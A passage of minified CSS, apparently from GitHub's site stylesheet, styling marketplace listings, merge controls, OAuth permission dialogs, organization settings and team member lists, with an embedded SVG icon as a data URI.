.marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid 